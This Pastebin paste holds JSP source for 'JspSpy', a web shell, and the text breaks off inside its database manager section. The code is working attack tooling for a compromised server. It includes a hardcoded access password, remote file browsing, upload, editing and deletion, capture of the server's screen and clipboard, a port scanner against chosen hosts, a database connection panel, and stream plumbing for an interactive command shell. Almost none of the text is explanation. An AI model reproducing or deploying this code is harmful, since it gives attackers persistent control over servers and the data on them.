Advertisement
Guest User

Untitled

a guest
Apr 25th, 2019
48
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 87.17 KB | None | 0 0
  1. <%@page pageEncoding="utf-8"%>
  2. <%@page import="java.io.*"%>
  3. <%@page import="java.util.*"%>
  4. <%@page import="java.util.regex.*"%>
  5. <%@page import="java.sql.*"%>
  6. <%@page import="java.nio.charset.*"%>
  7. <%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
  8. <%@page import="java.text.*"%>
  9. <%@page import="java.net.*"%>
  10. <%@page import="java.util.zip.*"%>
  11. <%@page import="java.awt.*"%>
  12. <%@page import="java.awt.image.*"%>
  13. <%@page import="javax.imageio.*"%>
  14. <%@page import="java.awt.datatransfer.DataFlavor"%>
  15. <%@page import="java.util.prefs.Preferences"%>
  16. <%!
  17.  
  18. private static final String PW = "1qaz_PL<"; //password
  19. private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd";
  20. private static final String REQUEST_CHARSET = "ISO-8859-1";
  21. private static final String PAGE_CHARSET = "UTF-8";
  22. private static final String CURRENT_DIR = "currentdir";
  23. private static final String MSG = "SHOWMSG";
  24. private static final String PORT_MAP = "PMSA";
  25. private static final String DBO = "DBO";
  26. private static final String SHELL_ONLINE = "SHELL_ONLINE";
  27. private static String SHELL_NAME = "";
  28. private static String WEB_ROOT = null;
  29. private static String SHELL_DIR = null;
  30. public static Map<String,Invoker> ins = new HashMap<String,Invoker>();
  31.  
  32. private static class MyRequest extends HttpServletRequestWrapper {
  33. public MyRequest(HttpServletRequest req) {
  34. super(req);
  35. }
  36. public String getParameter(String name) {
  37. try {
  38. String value = super.getParameter(name);
  39. if (name == null)
  40. return null;
  41. return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET);
  42. } catch (Exception e) {
  43. return null;
  44. }
  45. }
  46. }
  47.  
  48. private static class DBOperator{
  49. private Connection conn = null;
  50. private Statement stmt = null;
  51. private String driver;
  52. private String url;
  53. private String uid;
  54. private String pwd;
  55. public DBOperator(String driver,String url,String uid,String pwd) throws Exception {
  56. this(driver,url,uid,pwd,false);
  57. }
  58. public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception {
  59. Class.forName(driver);
  60. if (connect)
  61. this.conn = DriverManager.getConnection(url,uid,pwd);
  62. this.url = url;
  63. this.driver = driver;
  64. this.uid = uid;
  65. this.pwd = pwd;
  66. }
  67. public void connect() throws Exception{
  68. this.conn = DriverManager.getConnection(url,uid,pwd);
  69. }
  70. public Object execute(String sql) throws Exception {
  71. if (isValid()) {
  72. stmt = conn.createStatement();
  73. if (stmt.execute(sql)) {
  74. return stmt.getResultSet();
  75. } else {
  76. return stmt.getUpdateCount();
  77. }
  78. }
  79. throw new Exception("Connection is inValid.");
  80. }
  81. public void closeStmt() throws Exception{
  82. if (this.stmt != null)
  83. stmt.close();
  84. }
  85. public boolean isValid() throws Exception {
  86. return conn != null && !conn.isClosed();
  87. }
  88. public void close() throws Exception {
  89. if (isValid()) {
  90. closeStmt();
  91. conn.close();
  92. }
  93. }
  94. public boolean equals(Object o) {
  95. if (o instanceof DBOperator) {
  96. DBOperator dbo = (DBOperator)o;
  97. return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd);
  98. }
  99. return false;
  100. }
  101. }
  102.  
  103. private static class StreamConnector extends Thread {
  104. private InputStream is;
  105. private OutputStream os;
  106. public StreamConnector( InputStream is, OutputStream os ){
  107. this.is = is;
  108. this.os = os;
  109. }
  110. public void run(){
  111. BufferedReader in = null;
  112. BufferedWriter out = null;
  113. try{
  114. in = new BufferedReader( new InputStreamReader(this.is));
  115. out = new BufferedWriter( new OutputStreamWriter(this.os));
  116. char buffer[] = new char[8192];
  117. int length;
  118. while((length = in.read( buffer, 0, buffer.length ))>0){
  119. out.write( buffer, 0, length );
  120. out.flush();
  121. }
  122. } catch(Exception e){}
  123. try{
  124. if(in != null)
  125. in.close();
  126. if(out != null)
  127. out.close();
  128. } catch( Exception e ){}
  129. }
  130. }
  131. private static class OnLineProcess {
  132. private String cmd = "first";
  133. private Process pro;
  134. public OnLineProcess(Process p){
  135. this.pro = p;
  136. }
  137. public void setPro(Process p) {
  138. this.pro = p;
  139. }
  140. public void setCmd(String c){
  141. this.cmd = c;
  142. }
  143. public String getCmd(){
  144. return this.cmd;
  145. }
  146. public Process getPro(){
  147. return this.pro;
  148. }
  149. public void stop(){
  150. this.pro.destroy();
  151. }
  152. }
  153. private static class OnLineConnector extends Thread {
  154. private OnLineProcess ol = null;
  155. private InputStream is;
  156. private OutputStream os;
  157. private String name;
  158. public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){
  159. this.is = is;
  160. this.os = os;
  161. this.name = name;
  162. this.ol = ol;
  163. }
  164. public void run(){
  165. BufferedReader in = null;
  166. BufferedWriter out = null;
  167. try{
  168. in = new BufferedReader( new InputStreamReader(this.is));
  169. out = new BufferedWriter( new OutputStreamWriter(this.os));
  170. char buffer[] = new char[128];
  171. if(this.name.equals("exeRclientO")) {
  172. //from exe to client
  173. int length = 0;
  174. while((length = in.read( buffer, 0, buffer.length ))>0){
  175. String str = new String(buffer, 0, length);
  176. str = str.replace("&","&amp;").replace("<","&lt;").replace(">","&gt;");
  177. str = str.replace(""+(char)13+(char)10,"<br/>");
  178. str = str.replace("\n","<br/>");
  179. out.write(str.toCharArray(), 0, str.length());
  180. out.flush();
  181. }
  182. } else {
  183. //from client to exe
  184. while(true) {
  185. while(this.ol.getCmd() == null) {
  186. Thread.sleep(500);
  187. }
  188. if (this.ol.getCmd().equals("first")) {
  189. this.ol.setCmd(null);
  190. continue;
  191. }
  192. this.ol.setCmd(this.ol.getCmd() + (char)10);
  193. char[] arr = this.ol.getCmd().toCharArray();
  194. out.write(arr,0,arr.length);
  195. out.flush();
  196. this.ol.setCmd(null);
  197. }
  198. }
  199. } catch(Exception e){
  200. }
  201. try{
  202. if(in != null)
  203. in.close();
  204. if(out != null)
  205. out.close();
  206. } catch( Exception e ){
  207. }
  208. }
  209. }
  210. private static class Table{
  211. private ArrayList<Row> rows = null;
  212. private boolean echoTableTag = false;
  213. public void setEchoTableTag(boolean v) {
  214. this.echoTableTag = v;
  215. }
  216. public Table(){
  217. this.rows = new ArrayList<Row>();
  218. }
  219. public void addRow(Row r) {
  220. this.rows.add(r);
  221. }
  222. public String toString(){
  223. StringBuilder html = new StringBuilder();
  224. if (echoTableTag)
  225. html.append("<table>");
  226. for (Row r:rows) {
  227. html.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
  228. for (Column c:r.getColumns()) {
  229. html.append("<td nowrap>");
  230. String vv = Util.htmlEncode(Util.getStr(c.getValue()));
  231. if (vv.equals(""))
  232. vv = "&nbsp;";
  233. html.append(vv);
  234. html.append("</td>");
  235. }
  236. html.append("</tr>");
  237. }
  238. if (echoTableTag)
  239. html.append("</table>");
  240. return html.toString();
  241. }
  242. }
  243. private static class Row{
  244. private ArrayList<Column> cols = null;
  245. public Row(){
  246. this.cols = new ArrayList<Column>();
  247. }
  248. public void addColumn(Column n) {
  249. this.cols.add(n);
  250. }
  251. public ArrayList<Column> getColumns(){
  252. return this.cols;
  253. }
  254. }
  255. private static class Column{
  256. private String value;
  257. public Column(String v){
  258. this.value = v;
  259. }
  260. public String getValue(){
  261. return this.value;
  262. }
  263. }
  264. private static class Util{
  265. public static boolean isEmpty(String s) {
  266. return s == null || s.trim().equals("");
  267. }
  268. public static boolean isEmpty(Object o) {
  269. return o == null || isEmpty(o.toString());
  270. }
  271. public static String getSize(long size,char danwei) {
  272. if (danwei == 'M') {
  273. double v = formatNumber(size / 1024.0 / 1024.0,2);
  274. if (v > 1024) {
  275. return getSize(size,'G');
  276. }else {
  277. return v + "M";
  278. }
  279. } else if (danwei == 'G') {
  280. return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G";
  281. } else if (danwei == 'K') {
  282. double v = formatNumber(size / 1024.0,2);
  283. if (v > 1024) {
  284. return getSize(size,'M');
  285. } else {
  286. return v + "K";
  287. }
  288. } else if (danwei == 'B') {
  289. if (size > 1024) {
  290. return getSize(size,'K');
  291. }else {
  292. return size + "B";
  293. }
  294. }
  295. return ""+0+danwei;
  296. }
  297. public static double formatNumber(double value,int l) {
  298. NumberFormat format = NumberFormat.getInstance();
  299. format.setMaximumFractionDigits(l);
  300. format.setGroupingUsed(false);
  301. return new Double(format.format(value));
  302. }
  303. public static boolean isInteger(String v) {
  304. if (isEmpty(v))
  305. return false;
  306. return v.matches("^\\d+$");
  307. }
  308. public static String formatDate(long time) {
  309. SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
  310. return format.format(new java.util.Date(time));
  311. }
  312. public static String convertPath(String path) {
  313. return path != null ? path.replace("\\","/") : "";
  314. }
  315. public static String htmlEncode(String v) {
  316. if (isEmpty(v))
  317. return "";
  318. return v.replace("&","&amp;").replace("<","&lt;").replace(">","&gt;");
  319. }
  320. public static String getStr(String s) {
  321. return s == null ? "" :s;
  322. }
  323. public static String getStr(Object s) {
  324. return s == null ? "" :s.toString();
  325. }
  326. public static String exec(String regex, String str, int group) {
  327. Pattern pat = Pattern.compile(regex);
  328. Matcher m = pat.matcher(str);
  329. if (m.find())
  330. return m.group(group);
  331. return null;
  332. }
  333. public static void outMsg(Writer out,String msg) throws Exception {
  334. outMsg(out,msg,"center");
  335. }
  336. public static void outMsg(Writer out,String msg,String align) throws Exception {
  337. if (msg.indexOf("java.lang.ClassNotFoundException") != -1)
  338. msg = "Can Not Find The Driver!<br/>" + msg;
  339. out.write("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:"+align+";font-weight:bold;margin:10px\">"+msg+"</div>");
  340. }
  341. }
  342. private static class UploadBean {
  343. private String fileName = null;
  344. private String suffix = null;
  345. private String savePath = "";
  346. private ServletInputStream sis = null;
  347. private byte[] b = new byte[1024];
  348. public UploadBean() {
  349. }
  350. public void setSavePath(String path) {
  351. this.savePath = path;
  352. }
  353. public void parseRequest(HttpServletRequest request) throws IOException {
  354. sis = request.getInputStream();
  355. int a = 0;
  356. int k = 0;
  357. String s = "";
  358. while ((a = sis.readLine(b,0,b.length))!= -1) {
  359. s = new String(b, 0, a,PAGE_CHARSET);
  360. if ((k = s.indexOf("filename=\""))!= -1) {
  361. s = s.substring(k + 10);
  362. k = s.indexOf("\"");
  363. s = s.substring(0, k);
  364. File tF = new File(s);
  365. if (tF.isAbsolute()) {
  366. fileName = tF.getName();
  367. } else {
  368. fileName = s;
  369. }
  370. k = s.lastIndexOf(".");
  371. suffix = s.substring(k + 1);
  372. upload();
  373. }
  374. }
  375. }
  376. private void upload() {
  377. try {
  378. FileOutputStream out = new FileOutputStream(new File(savePath,fileName));
  379. int a = 0;
  380. int k = 0;
  381. String s = "";
  382. while ((a = sis.readLine(b,0,b.length))!=-1) {
  383. s = new String(b, 0, a);
  384. if ((k = s.indexOf("Content-Type:"))!=-1) {
  385. break;
  386. }
  387. }
  388. sis.readLine(b,0,b.length);
  389. while ((a = sis.readLine(b,0,b.length)) != -1) {
  390. s = new String(b, 0, a);
  391. if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) {
  392. break;
  393. }
  394. out.write(b, 0, a);
  395. }
  396. out.close();
  397. } catch (IOException ioe) {
  398. ioe.printStackTrace();
  399. }
  400. }
  401. }
  402. %>
  403.  
  404. <%
  405. SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1);
  406. String myAbsolutePath = application.getRealPath(request.getServletPath());
  407. if (Util.isEmpty(myAbsolutePath)) {//for weblogic
  408. SHELL_NAME = request.getServletPath();
  409. myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString();
  410. SHELL_NAME=request.getContextPath()+SHELL_NAME;
  411. WEB_ROOT = new File(application.getResource("/").getPath()).toString();
  412. } else {
  413. WEB_ROOT = application.getRealPath("/");
  414. }
  415. SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator)));
  416. if (session.getAttribute(CURRENT_DIR) == null)
  417. session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR));
  418.  
  419. MyRequest myrequest = new MyRequest(request);
  420.  
  421. if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) {
  422. String o = myrequest.getParameter("o");
  423. if (o != null && o.equals("login")) {
  424. ins.get("login").invoke(myrequest,response,session);
  425. return;
  426. } else if (o != null && o.equals("vLogin")) {
  427. ins.get("vLogin").invoke(myrequest,response,session);
  428. return;
  429. } else {
  430. response.sendRedirect(SHELL_NAME+"?o=vLogin");
  431. return;
  432. }
  433. }
  434. %>
  435.  
  436. <%!
  437. private static interface Invoker {
  438. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception;
  439. public boolean doBefore();
  440. public boolean doAfter();
  441. }
  442. private static class DefaultInvoker implements Invoker{
  443. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
  444. }
  445. public boolean doBefore(){
  446. return true;
  447. }
  448. public boolean doAfter() {
  449. return true;
  450. }
  451. }
  452.  
  453. private static class ScriptInvoker extends DefaultInvoker{
  454. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  455. try {
  456. PrintWriter out = response.getWriter();
  457. out.println("<script type=\"text/javascript\">"+
  458. " String.prototype.trim = function(){return this.replace(/^\\s+|\\s+$/,'');};"+
  459. " function fso(obj) {"+
  460. " this.currentDir = '"+JSession.getAttribute(CURRENT_DIR)+"';"+
  461. " this.filename = obj.filename;"+
  462. " this.path = obj.path;"+
  463. " this.filetype = obj.filetype;"+
  464. " };"+
  465. " fso.prototype = {"+
  466. " copy:function(){"+
  467. " var path = prompt('Copy To : ',this.path);"+
  468. " if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
  469. " doPost({o:'copy',src:this.path,to:path});"+
  470. " },"+
  471. " move:function() {"+
  472. " var path =prompt('Move To : ',this.path);"+
  473. " if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
  474. " doPost({o:'move',src:this.path,to:path})"+
  475. " },"+
  476. " vEdit:function() {"+
  477. " doPost({o:'vEdit',filepath:this.path})"+
  478. " },"+
  479. " down:function() {"+
  480. " doPost({o:'down',path:this.path})"+
  481. " },"+
  482. " removedir:function() {"+
  483. " if (!confirm('Dangerous ! Are You Sure To Delete '+this.filename+'?'))return;"+
  484. " doPost({o:'removedir',dir:this.path});"+
  485. " },"+
  486. " mkdir:function() {"+
  487. " var name = prompt('Input New Directory Name','');"+
  488. " if (name == null || name.trim().length == 0)return;"+
  489. " doPost({o:'mkdir',name:name});"+
  490. " },"+
  491. " subdir:function() {"+
  492. " doPost({o:'filelist',folder:this.path})"+
  493. " },"+
  494. " parent:function() {"+
  495. " var parent=(this.path.substr(0,this.path.lastIndexOf(\"/\")))+'/';"+
  496. " doPost({o:'filelist',folder:parent})"+
  497. " },"+
  498. " createFile:function() {"+
  499. " var path = prompt('Input New File Name','');"+
  500. " if (path == null || path.trim().length == 0) return;"+
  501. " doPost({o:'vCreateFile',filepath:path})"+
  502. " },"+
  503. " deleteBatch:function() {"+
  504. " if (!confirm('Are You Sure To Delete These Files?')) return;"+
  505. " var selected = new Array();"+
  506. " var inputs = document.getElementsByTagName('input');"+
  507. " for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
  508. " if (selected.length == 0) {alert('No File Selected');return;}"+
  509. " doPost({o:'deleteBatch',files:selected.join(',')})"+
  510. " },"+
  511. " packBatch:function() {"+
  512. " var selected = new Array();"+
  513. " var inputs = document.getElementsByTagName('input');"+
  514. " for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
  515. " if (selected.length == 0) {alert('No File Selected');return;}"+
  516. " var savefilename = prompt('Input Target File Name(Only Support ZIP)','pack.zip');"+
  517. " if (savefilename == null || savefilename.trim().length == 0)return;"+
  518. " doPost({o:'packBatch',files:selected.join(','),savefilename:savefilename})"+
  519. " },"+
  520. " pack:function() {"+
  521. " var tmpName = '';"+
  522. " if (this.filename.indexOf('.') == -1) tmpName = this.filename;"+
  523. " else tmpName = this.filename.substr(0,this.filename.lastIndexOf('.'));"+
  524. " tmpName += '.zip';"+
  525. " var path = this.path;"+
  526. " var name = prompt('Input Target File Name (Only Support Zip)',tmpName);"+
  527. " if (name == null || path.trim().length == 0) return;"+
  528. " doPost({o:'pack',packedfile:path,savefilename:name})"+
  529. " },"+
  530. " vEditProperty:function() {"+
  531. " var path = this.path;"+
  532. " doPost({o:'vEditProperty',filepath:path})"+
  533. " },"+
  534. " unpack:function() {"+
  535. " var path = prompt('unpack to : ',this.currentDir+'/'+this.filename.substr(0,this.filename.lastIndexOf('.')));"+
  536. " if (path == null || path.trim().length == 0) return;"+
  537. " doPost({o:'unpack',savepath:path,zipfile:this.path})"+
  538. " }"+
  539. " };"+
  540. " function doPost(obj) {"+
  541. " var form = document.forms[\"doForm\"];"+
  542. " var elements = form.elements;for (var i = form.length - 1;i>=0;i--){form.removeChild(elements[i])}"+
  543. " for (var pro in obj)"+
  544. " {"+
  545. " var input = document.createElement(\"input\");"+
  546. " input.type = \"hidden\";"+
  547. " input.name = pro;"+
  548. " input.value = obj[pro];"+
  549. " form.appendChild(input);"+
  550. " }"+
  551. " form.submit();"+
  552. " }"+
  553. "</script>");
  554.  
  555. } catch (Exception e) {
  556. e.printStackTrace();
  557. throw e ;
  558. }
  559. }
  560. }
  561. private static class BeforeInvoker extends DefaultInvoker {
  562. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  563. try {
  564. PrintWriter out = response.getWriter();
  565. out.println("<html><head><title>JspSpy Codz By - Ninty</title><style type=\"text/css\">"+
  566. "body,td{font: 12px Arial,Tahoma;line-height: 16px;}"+
  567. ".input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}"+
  568. ".area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}"+
  569. ".bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}"+
  570. "a {color: #00f;text-decoration:underline;}"+
  571. "a:hover{color: #f00;text-decoration:none;}"+
  572. ".alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}"+
  573. ".alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}"+
  574. ".focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}"+
  575. ".head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}"+
  576. ".head td span{font-weight:normal;}"+
  577. "form{margin:0;padding:0;}"+
  578. "h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}"+
  579. "ul.info li{margin:0;color:#444;line-height:24px;height:24px;}"+
  580. "u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}"+
  581. ".secho{height:400px;width:100%;overflow:auto;border:none}"+
  582. "</style></head><body style=\"margin:0;table-layout:fixed; word-break:break-all\">");
  583. } catch (Exception e) {
  584. e.printStackTrace();
  585. throw e ;
  586. }
  587. }
  588. }
  589. private static class AfterInvoker extends DefaultInvoker {
  590. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  591. try {
  592. PrintWriter out = response.getWriter();
  593. out.println("</body></html>");
  594. } catch (Exception e) {
  595. e.printStackTrace();
  596. throw e ;
  597. }
  598. }
  599. }
  600. private static class DeleteBatchInvoker extends DefaultInvoker {
  601. public boolean doBefore(){return false;}
  602. public boolean doAfter(){return false;}
  603. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  604. try {
  605. String files = request.getParameter("files");
  606. if (!Util.isEmpty(files)) {
  607. String currentDir = JSession.getAttribute(CURRENT_DIR).toString();
  608. String[] arr = files.split(",");
  609. for (String fs:arr) {
  610. File f = new File(currentDir,fs);
  611. f.delete();
  612. }
  613. }
  614. JSession.setAttribute(MSG,"Delete Files Success!");
  615. response.sendRedirect(SHELL_NAME+"?o=index");
  616. } catch (Exception e) {
  617. e.printStackTrace();
  618. throw e ;
  619. }
  620. }
  621. }
  622. private static class ClipBoardInvoker extends DefaultInvoker {
  623. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  624. try {
  625. PrintWriter out = response.getWriter();
  626. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  627. " <tr>"+
  628. " <td>"+
  629. " <h2>System Clipboard &raquo;</h2>"+
  630. "<p><pre>");
  631. try{
  632. out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor))));
  633. }catch (Exception ex) {
  634. out.println("ClipBoard is Empty Or Is Not Text Data !");
  635. }
  636. out.println("</pre>"+
  637. " <input class=\"bt\" name=\"button\" id=\"button\" onClick=\"history.back()\" value=\"Back\" type=\"button\" size=\"100\" />"+
  638. " </p>"+
  639. " </td>"+
  640. " </tr>"+
  641. "</table>");
  642. } catch (Exception e) {
  643. e.printStackTrace();
  644. throw e ;
  645. }
  646. }
  647. }
  648. private static class VRemoteControlInvoker extends DefaultInvoker {
  649. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  650. try {
  651. PrintWriter out = response.getWriter();
  652. out.println("<script type=\"text/javascript\">"+
  653. " var interval = null;"+
  654. " function a(btn) {"+
  655. " if (btn.value == \"Stop\")"+
  656. " {"+
  657. " sstopClick(btn);"+
  658. " } else {"+
  659. " startClick(btn);"+
  660. " }"+
  661. " }"+
  662. " function startClick(btn){"+
  663. " btn.value = \"Stop\";"+
  664. " var pl = document.getElementById(\"pl\").value;"+
  665. " interval = setInterval(function(){"+
  666. " var img = document.getElementById(\"screen\");"+
  667. " img.src = \""+SHELL_NAME+"?o=gc&rnd=\"+Math.random();"+
  668. " },parseInt(pl)*1000);"+
  669. " }"+
  670. " function sstopClick(btn) {"+
  671. " clearInterval(interval);"+
  672. " btn.value = \"Start\";"+
  673. " }"+
  674. " </script>");
  675. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  676. " <tr>"+
  677. " <td>"+
  678. " <h2>Remote Control &raquo;</h2><input class=\"bt\" onclick=\"var img = document.getElementById('screen').src='"+SHELL_NAME+"?o=gc&rnd='+Math.random();\" name=\"getsc\" id=\"getsc\" value=\"Get Screen\" type=\"button\" size=\"100\" />"+
  679. " <input class=\"bt\" name=\"button\" id=\"button\" onClick=\"a(this)\" value=\"Start\" type=\"button\" size=\"100\" /> Speed(Second , dont be so fast) <input type='text' value='3' size='5' id='pl' name='pl'/> Can Not Control Yet."+
  680. " <hr/><p><img id='screen' src='x'/></p>"+
  681. " </td>"+
  682. " </tr>"+
  683. "</table>");
  684. } catch (Exception e) {
  685. e.printStackTrace();
  686. throw e ;
  687. }
  688. }
  689. }
  690. //GetScreen
  691. private static class GcInvoker extends DefaultInvoker {
  692. public boolean doBefore(){return false;}
  693. public boolean doAfter(){return false;}
  694. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  695. try {
  696. Dimension size = Toolkit.getDefaultToolkit().getScreenSize();
  697. Rectangle rec = new Rectangle(0,0,(int)size.getWidth(),(int)size.getHeight());
  698. BufferedImage img = new Robot().createScreenCapture(rec);
  699. response.setContentType("image/jpeg");
  700. ImageIO.write(img,"jpg",response.getOutputStream());
  701. } catch (Exception e) {
  702. e.printStackTrace();
  703. throw e ;
  704. }
  705. }
  706. }
  707. private static class VPortScanInvoker extends DefaultInvoker {
  708. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  709. try {
  710. PrintWriter out = response.getWriter();
  711. String ip = request.getParameter("ip");
  712. String ports = request.getParameter("ports");
  713. String timeout = request.getParameter("timeout");
  714. if (Util.isEmpty(ip))
  715. ip = "127.0.0.1";
  716. if (Util.isEmpty(ports))
  717. ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500";
  718. if (Util.isEmpty(timeout))
  719. timeout = "2";
  720. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  721. "<h2 id=\"Bin_H2_Title\">PortScan &gt;&gt;</h2>"+
  722. "<div id=\"YwLB\"><form action=\""+SHELL_NAME+"\" method=\"post\">"+
  723. "<p><input type=\"hidden\" value=\"portScan\" name=\"o\">"+
  724. "IP : <input name=\"ip\" type=\"text\" value=\""+ip+"\" id=\"ip\" class=\"input\" style=\"width:10%;margin:0 8px;\" /> Port : <input name=\"ports\" type=\"text\" value=\""+ports+"\" id=\"ports\" class=\"input\" style=\"width:40%;margin:0 8px;\" /> Timeout (秒) : <input name=\"timeout\" type=\"text\" value=\""+timeout+"\" id=\"timeout\" class=\"input\" size=\"5\" style=\"margin:0 8px;\" /> <input type=\"submit\" name=\"submit\" value=\"Scan\" id=\"submit\" class=\"bt\" />"+
  725. "</p>"+
  726. "</form></div>"+
  727. "</td></tr></table>");
  728. } catch (Exception e) {
  729. e.printStackTrace();
  730. throw e ;
  731. }
  732. }
  733. }
  734. private static class PortScanInvoker extends DefaultInvoker {
  735. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  736. try {
  737. PrintWriter out = response.getWriter();
  738. ins.get("vPortScan").invoke(request,response,JSession);
  739. String ip = request.getParameter("ip");
  740. String ports = request.getParameter("ports");
  741. String timeout = request.getParameter("timeout");
  742. int iTimeout = 0;
  743. if (Util.isEmpty(ip) || Util.isEmpty(ports))
  744. return;
  745. if (!Util.isInteger(timeout)) {
  746. timeout = "2";
  747. }
  748. iTimeout = Integer.parseInt(timeout);
  749. Map<String,String> rs = new LinkedHashMap<String,String>();
  750. String[] portArr = ports.split(",");
  751. for (String port:portArr) {
  752. try {
  753. Socket s = new Socket();
  754. s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout);
  755. s.close();
  756. rs.put(port,"Open");
  757. } catch (Exception e) {
  758. rs.put(port,"Close");
  759. }
  760. }
  761. out.println("<div style='margin:10px'>");
  762. Set<Map.Entry<String,String>> entrySet = rs.entrySet();
  763. for (Map.Entry<String,String> e:entrySet) {
  764. String port = e.getKey();
  765. String value = e.getValue();
  766. out.println(ip+" : "+port+" ................................. <font color="+(value.equals("Open")?"green":"red")+"><b>"+value+"</b></font><br>");
  767. }
  768. out.println("</div>");
  769. } catch (Exception e) {
  770. e.printStackTrace();
  771. throw e ;
  772. }
  773. }
  774. }
  775. private static class VConnInvoker extends DefaultInvoker {
  776. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  777. try {
  778. PrintWriter out = response.getWriter();
  779. Object obj = JSession.getAttribute(DBO);
  780. if (obj == null || !((DBOperator)obj).isValid()) {
  781. out.println(" <script type=\"text/javascript\">"+
  782. " function changeurldriver(){"+
  783. " var form = document.forms[\"form1\"];"+
  784. " var v = form.elements[\"db\"].value;"+
  785. " form.elements[\"url\"].value = v.split(\"`\")[1];"+
  786. " form.elements[\"driver\"].value = v.split(\"`\")[0];"+
  787. " form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
  788. " }"+
  789. " </script>");
  790. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  791. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  792. "<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\"0\">"+
  793. "<h2>DataBase Manager &raquo;</h2>"+
  794. "<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
  795. "<p>"+
  796. "Driver:"+
  797. " <input class=\"input\" name=\"driver\" id=\"driver\" type=\"text\" size=\"35\" />"+
  798. "URL:"+
  799. "<input class=\"input\" name=\"url\" id=\"url\" value=\"\" type=\"text\" size=\"90\" />"+
  800. "UID:"+
  801. "<input class=\"input\" name=\"uid\" id=\"uid\" value=\"\" type=\"text\" size=\"10\" />"+
  802. "PWD:"+
  803. "<input class=\"input\" name=\"pwd\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\" />"+
  804. "DataBase:"+
  805. " <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
  806. " <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
  807. " <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
  808. " <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
  809. " <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:\\ninty.mdb'>Access</option>"+
  810. " <option value=' ` '>Other</option>"+
  811. " </select>"+
  812. "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\" />"+
  813. "</p>"+
  814. "</form></table><script>changeurldriver()</script>");
  815. } else {
